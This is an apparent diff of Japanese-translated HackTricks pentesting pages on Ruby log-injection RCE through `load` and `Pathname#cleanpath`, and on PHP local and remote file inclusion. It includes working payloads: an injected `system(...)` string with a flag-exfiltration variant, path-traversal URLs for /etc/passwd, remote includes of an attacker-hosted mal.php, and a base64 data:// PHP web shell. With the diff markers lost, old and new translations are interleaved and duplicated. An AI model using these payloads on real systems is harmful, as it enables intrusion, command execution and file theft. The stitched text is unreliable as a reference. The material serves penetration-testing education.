||||
## See also (Ruby/Rails-specific vulns)
|
||||
|
||||
@ -92,9 +92,84 @@ puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||
|
||||
## 参考
|
||||
アプリ(多くは単純な Rack/Sinatra/Rails エンドポイント)が両方を満たす場合:
|
||||
|
||||
- ユーザー制御の文字列をそのままログに記録し、
|
||||
- その後(`Pathname#cleanpath` を経て)同じ文字列から派生したパスのファイルを `load` する、
|
||||
|
||||
ログを汚染してからアプリにログファイルを `load` させることで、しばしば remote code execution を達成できます。主な要素:
|
||||
|
||||
- Ruby の `load` はファイル拡張子に関係なく対象ファイルの内容を Ruby として評価します。内容が Ruby としてパースできる任意の読み取り可能なテキストファイルは実行されます。
|
||||
- `Pathname#cleanpath` はファイルシステムにアクセスせずに `.` と `..` セグメントを畳み込むため、path smuggling を可能にします。攻撃者制御の不要な文字列をログ用に先頭に追加しても、正規化されたパスは依然として意図した実行対象のファイルを指します(例: `../logs/error.log`)。
|
||||
|
||||
### Minimal vulnerable pattern
|
||||
```ruby
|
||||
require 'logger'
|
||||
require 'pathname'
|
||||
|
||||
logger = Logger.new('logs/error.log')
|
||||
param = CGI.unescape(params[:script])
|
||||
path_obj = Pathname.new(param)
|
||||
|
||||
logger.info("Running backup script #{param}") # Raw log of user input
|
||||
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||
```
|
||||
### なぜログに有効なRubyが含まれる可能性があるのか
|
||||
`Logger` はプレフィックス行を次のように書きます:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||
```
|
||||
Rubyでは、`#`はコメントの始まりで、`9/2/2025`は単なる算術です。 有効なRubyコードを注入するには、次を行う必要があります:
|
||||
- ペイロードを新しい行で開始し、INFO行の`#`でコメントアウトされないようにする。先頭に改行を送る(`\n` または `%0A`)。
|
||||
- INFO行で導入されたぶら下がった`[`を閉じる。一般的なトリックは` ] `で始め、任意でパーサを満足させるために`][0]=1`を使うことです。
|
||||
- その後、任意のRubyコードを配置する(例:`system(...)`)。
|
||||
|
||||
Example of what will end up in the log after one request with a crafted param:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
### コードをログに書き込み、かつログパスに解決される単一の文字列をすり抜けさせる
|
||||
攻撃者が制御する1つの文字列が欲しい。条件は次の通り:
|
||||
- 生のままログに記録されたときに、我々のRubyペイロードを含んでいること、
|
||||
- `Pathname.new(<input>).cleanpath` に渡されたときに `../logs/error.log` に解決され、その後の `load` が毒されたログファイルを実行すること。
|
||||
|
||||
`Pathname#cleanpath` はスキームを無視し、トラバーサル要素を縮約するため、次のように動作する:
|
||||
```ruby
|
||||
require 'pathname'
|
||||
|
||||
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||
puts p.cleanpath # => ../logs/error.log
|
||||
```
|
||||
- `://`の前の`#`は、ログが実行されるときにRubyが末尾を無視することを保証し、`cleanpath`はそれでもサフィックスを`../logs/error.log`に短縮します。
|
||||
- 先頭の改行はINFO行から抜け出し、`]`はぶら下がった角括弧を閉じ、`][0]=1`がパーサを満たします。
|
||||
|
||||
### エンドツーエンドのエクスプロイト
|
||||
1. バックアップスクリプト名として次の文字列を送信します(必要に応じて最初の改行を`%0A`でURLエンコードしてください):
|
||||
```
|
||||
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
2. アプリは生の文字列を`logs/error.log`に記録します。
|
||||
3. アプリは`cleanpath`を計算し、それが`../logs/error.log`に解決されて`load`を呼び出します。
|
||||
4. Rubyはログに注入したコードを実行します。
|
||||
|
||||
CTFのような環境でファイルをexfiltrateするには:
|
||||
```
|
||||
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||
```
|
||||
URL-encoded PoC (最初の文字は改行です):
|
||||
```
|
||||
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||
```
|
||||
## 参考資料
|
||||
|
||||
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
有効な認証情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。
|
||||
有効な資格情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。
|
||||
|
||||
### 参照
|
||||
### 関連
|
||||
|
||||
VMware Tools service discovery を介した Linux LPE (CWE-426 / CVE-2025-41244):
|
||||
VMware Tools service discovery 経由の Linux LPE (CWE-426 / CVE-2025-41244):
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** ファイルはリモートサーバーから読み込まれる(理想的には、自分でコードを書きサーバー上で実行させられる)。 phpではデフォルトで**無効**です(**allow_url_include**)。\
|
||||
**Local File Inclusion (LFI):** サーバーがローカルファイルを読み込む。
|
||||
**Remote File Inclusion (RFI):** ファイルはリモートサーバーからロードされます(ベスト: あなたがコードを書き、サーバーがそれを実行します)。phpではこれはデフォルトで**無効**です(**allow_url_include**)。\
|
||||
**Local File Inclusion (LFI):** サーバーはローカルファイルをロードします。
|
||||
|
||||
脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの方法で制御できる場合に発生する。
|
||||
この脆弱性は、ユーザーがサーバーによってロードされるファイルを何らかの方法で制御できる場合に発生します。
|
||||
|
||||
脆弱な **PHP 関数**: require, require_once, include, include_once
|
||||
影響を受ける **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
この脆弱性をexploitするための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:**
|
||||
**\*nix のいくつかの LFI リストを組み合わせ、さらにパスを追加して作成したもの:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
また `/` を `\` に変更してみてください\
|
||||
また `../../../../../` を追加してみてください
|
||||
|
||||
脆弱性の存在を確認するためにファイル /etc/password を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
|
||||
複数の手法を使ってファイル /etc/password を探す(脆弱性が存在するか確認するための)リストは [こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります。
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -43,15 +43,15 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
また `/` を `\` に変更してみてください\
|
||||
また `C:/` を削除して `../../../../../` を追加してみてください
|
||||
|
||||
脆弱性の存在を確認するためにファイル /boot.ini を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
|
||||
複数の手法を使ってファイル /boot.ini を探す(脆弱性が存在するか確認するための)リストは [こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります。
|
||||
|
||||
### **OS X**
|
||||
|
||||
linux の LFI リストを確認してください。
|
||||
|
||||
## 基本的な LFI とバイパス
|
||||
## Basic LFI and bypasses
|
||||
|
||||
すべての例は Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
すべての例は Local File Inclusion 用ですが、Remote File Inclusion にも適用できます(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
提供された文字列の末尾にさらに文字を追加する処理をbypassする (bypass of: $\_GET\['param']."php")
|
||||
指定された文字列の末尾にさらに文字が付加されるのをbypassする (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
これは **PHP 5.4 以降で修正されています**
|
||||
これは **PHP 5.4 以降で解決済み**
|
||||
|
||||
### **エンコーディング**
|
||||
|
||||
double URL encode (and others) のような非標準エンコーディングを使用できます:
|
||||
非標準のエンコーディング(double URL encode など)を使用できます:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### 既存のフォルダから
|
||||
|
||||
おそらく back-end がフォルダパスをチェックしています:
|
||||
バックエンドがフォルダパスをチェックしている可能性があります:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### サーバーのファイルシステム内のディレクトリ探索
|
||||
### サーバ上のファイルシステムのディレクトリ探索
|
||||
|
||||
サーバーのファイルシステムは、特定の手法を用いることで、ファイルだけでなくディレクトリも再帰的に探索できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認します。以下はその具体的な方法です:
|
||||
サーバのファイルシステムは、特定の手法を用いて再帰的に調査することで、ファイルだけでなくディレクトリも特定できます。このプロセスでは、ディレクトリの深さを判定し、特定のフォルダの存在をプローブすることが含まれます。以下はそのための詳細な方法です:
|
||||
|
||||
1. **ディレクトリの深さを特定する:** `/etc/passwd` ファイルを正しく取得できることで現在のディレクトリの深さを判定します(サーバーがLinuxベースの場合)。例として、深さが三を示すURLは次のような構成になることがあります:
|
||||
1. **ディレクトリの深さを判定する:** `/etc/passwd` を正常に取得できるかどうかで、現在のディレクトリの深さを確認します(サーバがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のような構成になる可能性があります:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Probe for Folders:** 疑わしいフォルダ名(例: `private`)をURLに追加し、その後 `/etc/passwd` に戻ります。追加のディレクトリ階層のため、depth を1増やす必要があります:
|
||||
2. **フォルダを調査する:** 疑わしいフォルダ名(例: `private`)をURLに追加し、その後 `/etc/passwd` に再度アクセスします。追加のディレクトリレベルがあるため、深さを1つ増やす必要があります:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **結果を解釈する:** サーバの応答はフォルダが存在するかどうかを示します:
|
||||
- **エラー / 出力なし:** 指定した場所に `private` フォルダが存在しない可能性があります。
|
||||
- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。
|
||||
4. **再帰的な探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。
|
||||
3. **Interpret the Outcomes:** サーバーの応答はフォルダの存在を示します:
|
||||
- **Error / No Output:** 指定した場所にフォルダ `private` は存在しない可能性が高い。
|
||||
- **Contents of `/etc/passwd`:** フォルダ `private` の存在が確認されます。
|
||||
4. **Recursive Exploration:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使って、サブディレクトリやファイルをさらに調査できます。
|
||||
|
||||
ファイルシステムの別の場所にあるディレクトリを調べるには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには、次を使用します:
|
||||
ファイルシステムの別の場所にあるディレクトリを調べるには、payloadをそれに合わせて調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには、以下を使用します:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation はウェブアプリケーションのファイルパスを操作するための手法です。ファイルパスの末尾に追加の文字を付加するなどのセキュリティ対策を回避して、制限されたファイルにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後も目的のファイルを指すようなファイルパスを作成することです。
|
||||
Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。ファイルパスの末尾に追加文字列を付加するようなセキュリティ対策を回避して、制限されたファイルにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後でも、依然として目的のファイルを指すようにファイルパスを作成することです。
|
||||
|
||||
In PHP、ファイルシステムの性質上、同じファイルパスが異なる表記で等価と見なされることがあります。例えば:
|
||||
In PHPでは、ファイルシステムの性質上、ファイルパスの様々な表現が同等に扱われることがあります。例えば:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` はすべて同じパスとして扱われます。
|
||||
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
|
||||
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
|
||||
- 同様に、ファイルパスに `.php` が付加されている場合(例: `shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
|
||||
|
||||
以下の例は、機密性の高い内容(ユーザーアカウント情報)を含むことが多いため一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています:
|
||||
以下の例は、機密情報(ユーザーアカウント情報)を含むため一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
これらのシナリオでは、必要な traversals の数は約2027 に達することがありますが、この数はサーバの設定によって変わる可能性があります。
|
||||
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加のドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバが付加した文字列を実質的に無視させることができます。
|
||||
- **Determining the Required Number of Traversals**: 試行錯誤によりルートディレクトリへ、さらに `/etc/passwd` へ到達するために必要な正確な `../` シーケンスの数を見つけられます。サーバが付加した文字列(例えば `.php`)を無効化しつつ、目的のパス(`/etc/passwd`)を維持できます。
|
||||
- **Starting with a Fake Directory**: 存在しないディレクトリ(例: `a/`)でパスを始めるのは一般的な手法です。この手法は予防措置として、あるいはサーバのパス解析ロジックの要件を満たすために使われます。
|
||||
- **Using Dot Segments and Additional Characters**: トラバーサルシーケンス(`../`)を追加のドットセグメントや文字と組み合わせることで、ファイルシステムを移動でき、サーバが付加した文字列を実質的に無視できます。
|
||||
- **Determining the Required Number of Traversals**: 試行錯誤により、ルートディレクトリまで、そして `/etc/passwd` へ移動するのに必要な正確な `../` の数を特定できます。`.php` のような付加文字列が無効化されても、目的のパス(`/etc/passwd`)がそのまま残ることを確認します。
|
||||
- **Starting with a Fake Directory**: 存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な手法です。この手法は予防措置として、またはサーバのパス解析ロジックの要件を満たすために使われます。
|
||||
|
||||
When employing path truncation techniques、サーバのパス解析の挙動やファイルシステム構造を理解しておくことが重要です。シナリオごとに異なるアプローチが必要になる場合があり、最も効果的な手法を見つけるためにはテストが必要になることが多いです。
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**この脆弱性は PHP 5.3 で修正されました。**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
phpではこれはデフォルトで無効になっています。理由は **`allow_url_include`** が **Off.** だからです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます:
|
||||
phpではデフォルトで無効になっています。これは **`allow_url_include`** が **Off.** になっているためです。動作させるには **On** にする必要があり、その場合はあなたのサーバーからPHPファイルをincludeしてRCEを得ることができます:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
何らかの理由で **`allow_url_include`** が **On** で、しかし PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます:
|
||||
もし何らかの理由で **`allow_url_include`** が **On** で、しかし PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えば data プロトコルと base64 を使って b64 の PHP コードをデコードし RCE を得ることができます:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としていたため追加されました。文字列はそれで終わり、b64 decode 後、その部分は単なるゴミを返し、本来の PHP コードがインクルードされ(したがって、実行され)ます。
|
||||
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としていたため追加されました。つまり文字列は `.txt` で終わり、b64 decode の後、その部分は単なるゴミとなり、実際の PHP コードが含まれ(したがって実行され)ます。
|
||||
|
||||
別の例 **`php://` プロトコルを使用しない** は次のようになります:
|
||||
別の例 **`php://` プロトコルを使用しない** は次のとおりです:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python の Root 要素
|
||||
## Python のルート要素
|
||||
|
||||
Pythonでは、次のようなコードの場合:
|
||||
次のような code 内の python では:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
ユーザーが **absolute path** を **`file_name`** に渡すと、**前のパスは単に削除されます**:
|
||||
ユーザーが**absolute path**を**`file_name`**に渡すと、**previous path**は単に削除されます:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)に記載されている意図された動作です:
|
||||
これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動作です。
|
||||
|
||||
> もしあるコンポーネントが絶対パスであれば、それ以前の全てのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから継続されます。
|
||||
> もしコンポーネントが絶対パスである場合、それ以前の全てのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。
|
||||
|
||||
## Java ディレクトリ一覧
|
||||
## Java: ディレクトリ一覧
|
||||
|
||||
どうやら、JavaでPath Traversalがあり、ファイルではなく**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では起きないようです(afaik)。
|
||||
JavaでPath Traversalがある場合、ファイルの代わりに**ディレクトリを要求すると**、**ディレクトリの一覧が返されます**。私の知る限り、他の言語ではこのようなことは起こりません。
|
||||
|
||||
## 上位25のパラメータ
|
||||
## トップ25のパラメータ
|
||||
|
||||
以下はlocal file inclusion (LFI) の脆弱性の対象になり得る上位25のパラメータの一覧です(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
以下は、local file inclusion (LFI) の脆弱性を突かれる可能性があるトップ25のパラメータのリストです(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## PHP wrappers & プロトコルを使った LFI / RFI
|
||||
## LFI / RFI — PHP wrappers とプロトコルの利用
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters は、データが読み取られたり書き込まれたりする前に基本的な **データの変更操作** を行うことを可能にします。フィルタには5つのカテゴリがあります:
|
||||
PHP filters は、データが読み取られたり書き込まれたりする前に基本的な**データの変更操作**を行うことを可能にします。フィルタは5つのカテゴリがあります:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: データからタグを削除します("<" と ">" 文字の間のすべて)
|
||||
- `string.strip_tags`: データからタグを除去します("<" と ">" の間のすべての内容)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングの一覧**を取得するにはコンソールで `iconv -l` を実行してください。
|
||||
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている全てのエンコーディングのリストを得るにはコンソールで `iconv -l` を実行してください。
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` の変換フィルタを悪用すると、**任意のテキストを生成**でき、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させたりするのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
|
||||
> `convert.iconv.*` 変換フィルタを悪用すると **任意のテキストを生成する** ことができ、任意のテキストを書き込んだり、include のような関数に任意テキストを処理させるのに役立ちます。詳しくは [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部へ取り出す場合に便利)
|
||||
- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrating する際に有用)
|
||||
- `zlib.inflate`: データを展開します
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 非推奨
|
||||
- `mdecrypt.*` : 非推奨
|
||||
- Other Filters
|
||||
- php で `var_dump(stream_get_filters());` を実行すると、いくつかの **予期しないフィルタ** が見つかります:
|
||||
- PHPで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルタ**が見つかります:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP の chunked encoding を逆変換します
|
||||
- `dechunk`: HTTPのchunkedエンコーディングを元に戻します
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -275,35 +275,42 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php filters を oracle として使用して任意のファイルを読む
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力を直接受け取らずにローカルファイルを読む手法が提案されています。この手法は、**php filters を oracle として用いたファイルの boolean exfiltration(文字ごと)** に基づきます。これは php filters がテキストを十分に大きくして php に例外を発生させるために使えるからです。
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が直接返されない状態でローカルファイルを読む手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として用いることに基づいています。これは php filters がテキストを十分に大きくして PHP に例外を発生させるために使用できるからです。
|
||||
|
||||
元記事には手法の詳細な説明がありますが、ここでは簡単な要約を示します:
|
||||
原著には手法の詳細な説明がありますが、ここでは簡単な概要を示します:
|
||||
|
||||
- **`UCS-4LE`** コーデックを使用して、先頭文字をそのままにして文字列のサイズを指数的に増やす。
|
||||
- これにより、初期文字が正しく推測されたときに **非常に大きなテキスト** が生成され、php が **エラー** を引き起こす。
|
||||
- **dechunk** フィルタは、**最初の文字が16進数でない場合にすべてを削除する** ため、最初の文字が16進数かどうかを判定できる。
|
||||
- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を加えて最初の文字が16進数でなくなるタイミングを観察することで、テキスト先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期の“爆弾”が php のエラーを引き起こす。
|
||||
- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する(例: a -> b)。これにより、例えば最初の文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、したがって dechunk は削除せず、初期の“爆弾”と相乗して php のエラーが発生するからである。
|
||||
- 先頭で **rot13** のような他の変換を使うと、n, o, p, q, r のような文字を leak することが可能(他のコーデックを使って別の文字を16進数範囲に移動させることもできる)。
|
||||
- 最初の文字が数字の場合は base64 エンコードを行い、先頭2文字を leak して数字を判別する必要がある。
|
||||
- 最後の問題は、**先頭の1文字以上をどう leak するか**である。**convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** のような order memory filters を使うと、文字の順序を入れ替えてテキストの他の文字を先頭に持ってくることが可能になる。
|
||||
- さらにデータを取得するためのアイデアは、**convert.iconv.UTF16.UTF16** で先頭に**2バイトのジャンクデータを生成**し、**UCS-4LE** を適用してそれを次の2バイトとピボットさせ、**ジャンクデータまでデータを削除する**(これにより元のテキストの先頭2バイトが削除される)ことを繰り返して、目的の位置に到達するまで続けるというものです。
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- これは、初期文字が正しく推測されたときに **非常に大きなテキスト** を生成し、PHP が **error** を起こすように使われます。
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- dechunk フィルタは先頭文字が hexadecimal でない場合に **すべてを削除する** ため、先頭文字が hex かどうかを判断できます。
|
||||
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||||
- これを前述の手法(および推測した文字に応じた他のフィルタ)と組み合わせることで、十分な変換を施したときに先頭文字が hexadecimal でなくなるタイミングを観察してテキストの先頭文字を推測できます。もし hex であれば dechunk は削除せず、初期の“爆弾”が PHP の error を引き起こします。
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- codec **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換します(例: a -> b)。これにより、例えば先頭文字が `a` かどうかを判別できます。なぜならこの codec を6回適用すると a->b->c->d->e->f->g となり、もはや hexadecimal 文字でなくなるため dechunk は削除せず、最初の“爆弾”と掛け合わさって PHP error が発生するからです。
|
||||
